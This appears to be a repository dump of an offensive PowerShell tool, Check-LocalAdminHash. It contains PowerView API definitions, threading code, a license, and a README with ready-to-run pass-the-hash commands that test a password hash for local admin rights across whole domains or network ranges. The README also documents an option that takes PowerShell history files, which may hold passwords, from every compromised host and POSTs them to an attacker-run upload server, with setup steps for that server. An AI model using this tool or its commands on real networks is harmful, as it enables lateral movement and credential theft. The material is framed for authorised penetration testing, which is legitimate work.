'0x00000001' GLOBAL_SCOPE = '0x00000002' DOMAIN_LOCAL_SCOPE = '0x00000004' UNIVERSAL_SCOPE = '0x00000008' APP_BASIC = '0x00000010' APP_QUERY = '0x00000020' SECURITY = '0x80000000' } -Bitfield # used to parse the 'userAccountControl' property for users/groups $UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{ SCRIPT = 1 ACCOUNTDISABLE = 2 HOMEDIR_REQUIRED = 8 LOCKOUT = 16 PASSWD_NOTREQD = 32 PASSWD_CANT_CHANGE = 64 ENCRYPTED_TEXT_PWD_ALLOWED = 128 TEMP_DUPLICATE_ACCOUNT = 256 NORMAL_ACCOUNT = 512 INTERDOMAIN_TRUST_ACCOUNT = 2048 WORKSTATION_TRUST_ACCOUNT = 4096 SERVER_TRUST_ACCOUNT = 8192 DONT_EXPIRE_PASSWORD = 65536 MNS_LOGON_ACCOUNT = 131072 SMARTCARD_REQUIRED = 262144 TRUSTED_FOR_DELEGATION = 524288 NOT_DELEGATED = 1048576 USE_DES_KEY_ONLY = 2097152 DONT_REQ_PREAUTH = 4194304 PASSWORD_EXPIRED = 8388608 TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216 PARTIAL_SECRETS_ACCOUNT = 67108864 } -Bitfield # enum used by $WTS_SESSION_INFO_1 below $WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{ Active = 0 Connected = 1 ConnectQuery = 2 Shadow = 3 Disconnected = 4 Idle = 5 Listen = 6 Reset = 7 Down = 8 Init = 9 } # the WTSEnumerateSessionsEx result structure $WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{ ExecEnvId = field 0 UInt32 State = field 1 $WTSConnectState SessionId = field 2 UInt32 pSessionName = field 3 String -MarshalAs @('LPWStr') pHostName = field 4 String -MarshalAs @('LPWStr') pUserName = field 5 String -MarshalAs @('LPWStr') pDomainName = field 6 String -MarshalAs @('LPWStr') pFarmName = field 7 String -MarshalAs @('LPWStr') } # the particular WTSQuerySessionInformation result structure $WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{ AddressFamily = field 0 UInt32 Address = field 1 Byte[] -MarshalAs @('ByValArray', 20) } # the NetShareEnum result structure $SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{ Name = field 0 String -MarshalAs @('LPWStr') Type = field 1 UInt32 Remark = field 2 String -MarshalAs @('LPWStr') } # the NetWkstaUserEnum result structure $WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{ UserName = field 0 String -MarshalAs @('LPWStr') LogonDomain = field 1 String -MarshalAs @('LPWStr') AuthDomains = field 2 String -MarshalAs @('LPWStr') LogonServer = field 3 String -MarshalAs @('LPWStr') } # the NetSessionEnum result structure $SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{ CName = field 0 String -MarshalAs @('LPWStr') UserName = field 1 String -MarshalAs @('LPWStr') Time = field 2 UInt32 IdleTime = field 3 UInt32 } # enum used by $LOCALGROUP_MEMBERS_INFO_2 below $SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{ SidTypeUser = 1 SidTypeGroup = 2 SidTypeDomain = 3 SidTypeAlias = 4 SidTypeWellKnownGroup = 5 SidTypeDeletedAccount = 6 SidTypeInvalid = 7 SidTypeUnknown = 8 SidTypeComputer = 9 } # the NetLocalGroupEnum result structure $LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{ lgrpi1_name = field 0 String -MarshalAs @('LPWStr') lgrpi1_comment = field 1 String -MarshalAs @('LPWStr') } # the NetLocalGroupGetMembers result structure $LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{ lgrmi2_sid = field 0 IntPtr lgrmi2_sidusage = field 1 $SID_NAME_USE lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr') } # enums used in DS_DOMAIN_TRUSTS $DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{ IN_FOREST = 1 DIRECT_OUTBOUND = 2 TREE_ROOT = 4 PRIMARY = 8 NATIVE_MODE = 16 DIRECT_INBOUND = 32 } -Bitfield $DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{ DOWNLEVEL = 1 UPLEVEL = 2 MIT = 3 DCE = 4 } $DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{ NON_TRANSITIVE = 1 UPLEVEL_ONLY = 2 FILTER_SIDS = 4 FOREST_TRANSITIVE = 8 CROSS_ORGANIZATION = 16 WITHIN_FOREST = 32 TREAT_AS_EXTERNAL = 64 } # the DsEnumerateDomainTrusts result structure $DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{ NetbiosDomainName = field 0 String -MarshalAs @('LPWStr') DnsDomainName = field 1 String -MarshalAs @('LPWStr') Flags = field 2 $DsDomainFlag ParentIndex = field 3 UInt32 TrustType = field 4 $DsDomainTrustType TrustAttributes = field 5 $DsDomainTrustAttributes DomainSid = field 6 IntPtr DomainGuid = field 7 Guid } # used by WNetAddConnection2W $NETRESOURCEW = struct $Mod NETRESOURCEW @{ dwScope = field 0 UInt32 dwType = field 1 UInt32 dwDisplayType = field 2 UInt32 dwUsage = field 3 UInt32 lpLocalName = field 4 String -MarshalAs @('LPWStr') lpRemoteName = field 5 String -MarshalAs @('LPWStr') lpComment = field 6 String -MarshalAs @('LPWStr') lpProvider = field 7 String -MarshalAs @('LPWStr') } # all of the Win32 API functions we need $FunctionDefinitions = @( (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError), (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), (func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError), (func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError), (func advapi32 RevertToSelf ([Bool]) @() -SetLastError), (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])), (func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])), (func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])), (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError) ) $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' $Netapi32 = $Types['netapi32'] $Advapi32 = $Types['advapi32'] $Wtsapi32 = $Types['wtsapi32'] $Mpr = $Types['Mpr'] $Kernel32 = $Types['kernel32'] ################################## END OF CODE COPIED FROM POWERVIEW ######################### #########(Thanks @harmj0y, @mattifestation, and anyone else who has worked on PowerView!)##### function Invoke-ThreadedFunction { [CmdletBinding()] param( [Parameter(Position=0,Mandatory=$True)] [String[]] $ComputerName, [Parameter(Position=1,Mandatory=$True)] [System.Management.Automation.ScriptBlock] $ScriptBlock, [Parameter(Position=2)] [Hashtable] $ScriptParameters, [Int] $Threads = 5 ) begin { if ($PSBoundParameters['Debug']) { $DebugPreference = 'Continue' } Write-Verbose "[*] Total number of hosts: $($ComputerName.count)" $counttotal = $ComputerName.count Write-Output "[*] Scanning $counttotal hosts with $Threads threads." # Adapted from: # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() # threading adapted from # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 # Thanks Carlos! # create a pool of maxThread runspaces $Pool = [runspacefactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) $Pool.Open() $Jobs = @() $PS = @() $Wait = @() $Counter = 0 } process { ##I was running into a weird issue where the first set of threads were not providing results. ##A super hacky and terrible fix was to just spin up the number of threads specified with localhost as target. ##localhost never actually gets scanned it just runs "Get-Date" for each thread and for whatever reason all the ##other threads appear to work now... ¯\_(ツ)_/¯ @dafthack $countb= 0 while($countb -lt $threads){ # make sure we get a server name if ($Computer -ne '') { While ($($Pool.GetAvailableRunspaces()) -le 0) { Start-Sleep -MilliSeconds 2000 } $computer = "127.0.0.1" # create a "powershell pipeline runner" $PS += [powershell]::create() $PS[$Counter].runspacepool = $Pool # add the script block + arguments $Null = $PS[$Counter].AddScript($ScriptBlock).AddParameter('Hostlist', $Computer) if($ScriptParameters) { ForEach ($Param in $ScriptParameters.GetEnumerator()) { $Null = $PS[$Counter].AddParameter($Param.Name, $Param.Value) } } # start job $Jobs += $PS[$Counter].BeginInvoke(); # store wait handles for WaitForAll call $Wait += $Jobs[$Counter].AsyncWaitHandle } $Counter = $Counter + 1 $countb++} ##Now that the threads are "warmed up" it actually does the real threading... ForEach ($Computer in $ComputerName) { # make sure we get a server name if ($Computer -ne '') { While ($($Pool.GetAvailableRunspaces()) -le 0) { Start-Sleep -MilliSeconds 2000 } # create a "powershell pipeline runner" $PS += [powershell]::create() $PS[$Counter].runspacepool = $Pool # add the script block + arguments $Null = $PS[$Counter].AddScript($ScriptBlock).AddParameter('Hostlist', $Computer) if($ScriptParameters) { ForEach ($Param in $ScriptParameters.GetEnumerator()) { $Null = $PS[$Counter].AddParameter($Param.Name, $Param.Value) } } # start job $Jobs += $PS[$Counter].BeginInvoke(); # store wait handles for WaitForAll call $Wait += $Jobs[$Counter].AsyncWaitHandle } $Counter = $Counter + 1 } } end { Write-Verbose "Waiting for scanning threads to finish..." $WaitTimeout = Get-Date # set a 60 second timeout for the scanning threads while ($($Jobs | Where-Object {$_.IsCompleted -eq $False}).count -gt 0 -or $($($(Get-Date) - $WaitTimeout).totalSeconds) -gt 60) { Start-Sleep -MilliSeconds 500 } # end async call for ($y = 0; $y -lt $Counter; $y++) { try { # complete async job $PS[$y].EndInvoke($Jobs[$y]) } catch { Write-Warning "error: $_" } finally { $PS[$y].Dispose() } } $Pool.Dispose() Write-Verbose "All threads completed!" } } ================================================ FILE: LICENSE ================================================ BSD 3-Clause License Copyright (c) 2019, dafthack All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ================================================ FILE: README.md ================================================ # Check-LocalAdminHash Check-LocalAdminHash is a PowerShell tool that attempts to authenticate to multiple hosts over either WMI or SMB using a password hash to determine if the provided credential is a local administrator. It's useful if you obtain a password hash for a user and want to see where they are local admin on a network. It is essentially a Frankenstein of two of my favorite tools along with some of my own code. It utilizes Kevin Robertson's (@kevin_robertson) Invoke-TheHash project for the credential checking portion. Additionally, the script utilizes modules from PowerView by Will Schroeder (@harmj0y) and Matt Graeber (@mattifestation) to enumerate domain computers to find targets for testing admin access against. ![alt text](http://www.dafthack.com/Check-LocalAdminHash-Example.jpg) The reason this script even exists is because on an assessment I wanted to gather all the PowerShell console history files (PSReadline) from every system on the network. The PSReadline console history is essentially the PowerShell version of bash history. It can include so many interesting things that people type into their terminals including passwords. So, included in this script is an option to exfiltrate all the PSReadline files as well. There is a bit of setup for this. See the end of the Readme for setup. For more info read the blog here: https://www.blackhillsinfosec.com/check-localadminhash-exfiltrating-all-powershell-history/ # Examples ### Checking Local Admin Hash Against All Hosts Over WMI This command will use the domain 'testdomain.local' to lookup all systems and then attempt to authenticate to each one using the user 'testdomain.local\PossibleAdminUser' and a password hash over WMI. ```PowerShell Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems ``` ### Exfiltrate All PSReadline Console History Files This command will use the domain 'testdomain.local' to lookup all systems and then attempt to authenticate to each one using the user 'testdomain.local\PossibleAdminUser' and a password hash over WMI. It then attempts to locate PowerShell console history files (PSReadline) for each profile on every system and then POST's them to a web server. See the bottom of the Readme for server setup. ```PowerShell Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline ``` ### Using A CIDR Range This command will use the provided CIDR range to generate a target list and then attempt to authenticate to each one using the local user 'PossibleAdminUser' and a password hash over WMI. ```PowerShell Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -CIDR 192.168.1.0/24 ``` ### Using Target List and SMB and Output to File This command will use the provided targetlist and attempt to authenticate to each host using the local user 'PossibleAdminUser' and a password hash over SMB. ```PowerShell Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -TargetList C:\temp\targetlist.txt -Protocol SMB | Out-File -Encoding Ascii C:\temp\local-admin-systems.txt ``` ### Single Target This command attempts to perform a local authentication for the user Administrator against the system 192.168.0.16 over SMB. ```PowerShell Check-LocalAdminHash -TargetSystem 192.168.0.16 -Username Administrator -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -Protocol SMB ``` ### Check-LocalAdminHash Options ``` Username - The Username for attempting authentication. PasswordHash - Password hash of the user. TargetSystem - Single hostname or IP for authentication attempt. TargetList - A list of hosts to scan one per line AllSystems - A switch that when enabled utilizes PowerView modules to enumerate all domain systems. This list is then used to check local admin access. Domain - This is the domain that PowerView will utilize for discovering systems. UserDomain - This is the user's domain to authenticate to each system with. Don't use this flag if using a local cred instead of domain cred. Protocol - This is the setting for whether to check the hash using WMI or SMB. Default is 'WMI' but set it to 'SMB' to check that instead. CIDR - Specify a CIDR form network range such as 192.168.0.0/24 Threads - Defaults to 5 threads. (I've run into some odd issues setting threads more than 15 with some results not coming back.) ExfilPSReadline - For each system where auth is successful it runs a PowerShell command to locate PSReadLine console history files (PowerShell command history) and then POSTS them to a web server. See the Readme for server setup. ``` ## PSReadline Exfiltration Setup **This is your warning** that you are about to setup an Internet-facing server that will accept file uploads. Typically, this is a very bad thing to do. So definitely take precautions when doing this. I would recommend **locking down firewall rules** so that only the IP that will be uploading PSReadline files can hit the web server. Also, while we are on the topic of security, this will work just fine with an HTTPS connection so setup your domain and cert so that the PSReadline files are sent encrypted over the network. You have been warned... * Setup a server wherever you would like the files to be sent. This server must be reachable over HTTP/HTTPS from each system. * Copy the index.php script from this repo and put it in /index.php in the web root (/var/www/html) on your web server. * Make an uploads directory ``mkdir /var/www/html/uploads `` * Modify the permissions of this directory ``chmod 0777 /var/www/html/uploads `` * Make sure php is installed ``apt-get install php `` * Restart Apache ``service apache2 restart `` * In the Check-LocalAdminHash.ps1 script itself scroll down to the "Gen-EncodedUploadScript" function and modify the "$Url" variable right under "$UnencodedCommand". Point it at your web server index.php page. I haven't figured out how to pass the UploadUrl variable into that section of the code that ends up getting encoded and run on target systems so hardcode it for now. Now when you run Check-LocalAdminHash with the -ExfilPSReadline flag it should attempt to POST each PSReadline (if there are any) to your webserver. ![alt text](http://www.dafthack.com/powershell-history-results.jpg) ## Credits Check-LocalAdminHash is pretty much a Frankenstein of two of my favorite tools, PowerView and Invoke-TheHash. 95% of the code is from those two tools. So the credit goes to Kevin Robertson (@kevin_robertson) for Invoke-TheHash, and credit goes to Will Schroeder (@harmj0y), Matt Graeber (@mattifestation) (and anyone else who worked on PowerView). Without those two tools this script wouldn't exist. Also shoutout to Steve Borosh (@424f424f) for help with the threading and just being an all around awesome dude. Invoke-TheHash - https://github.com/Kevin-Robertson/Invoke-TheHash PowerView - https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 ================================================ FILE: index.php ================================================ //Adapted from https://gist.github.com/taterbase/2688850 Upload your files

Upload your file